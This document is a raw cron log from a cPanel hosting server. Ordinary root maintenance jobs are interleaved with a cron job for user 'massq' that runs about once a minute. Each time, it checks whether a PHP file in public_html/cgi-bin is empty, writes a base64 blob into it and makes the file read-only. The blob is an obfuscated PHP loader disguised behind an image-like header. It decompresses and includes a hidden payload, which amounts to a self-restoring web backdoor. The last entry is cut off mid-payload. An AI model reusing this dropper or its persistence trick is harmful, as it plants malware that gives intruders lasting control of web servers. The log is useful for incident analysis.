Sep 12 17:30:01 server CROND[9817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:30:01 server CROND[9819]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 17:30:01 server CROND[9821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:30:01 server CROND[9820]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 17:30:01 server CROND[9823]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 17:30:01 server CROND[9825]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 17:30:01 server CROND[9824]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 17:30:01 server CROND[9827]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:31:01 server CROND[10698]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:31:01 server CROND[10699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:31:01 server CROND[10700]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:32:01 server CROND[11068]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:32:01 server CROND[11069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:32:01 server CROND[11070]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:33:01 server CROND[11531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:33:01 server CROND[11532]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:33:01 server CROND[11533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:34:01 server CROND[11921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:34:01 server CROND[11922]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:34:01 server CROND[11923]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:35:01 server CROND[12305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:35:01 server CROND[12307]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 17:35:01 server CROND[12309]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:35:01 server CROND[12324]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 17:35:01 server CROND[12322]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 17:35:01 server CROND[12325]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 17:35:01 server CROND[12323]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 17:35:01 server CROND[12332]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 17:35:01 server CROND[12321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:36:01 server CROND[13174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:36:01 server CROND[13176]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:36:01 server CROND[13175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:37:01 server CROND[13545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:37:01 server CROND[13546]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:37:01 server CROND[13547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:38:01 server CROND[13945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:38:01 server CROND[13946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:38:01 server CROND[13948]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:39:01 server CROND[14421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:39:01 server CROND[14422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:39:01 server CROND[14423]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 17:39:01 server CROND[14424]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:40:01 server CROND[14810]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 17:40:01 server CROND[14811]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 17:40:01 server CROND[14815]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 17:40:01 server CROND[14814]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 17:40:01 server CROND[14813]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 17:40:01 server CROND[14816]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:40:01 server CROND[14817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:40:01 server CROND[14819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:41:01 server CROND[15641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:41:01 server CROND[15642]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:41:01 server CROND[15643]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6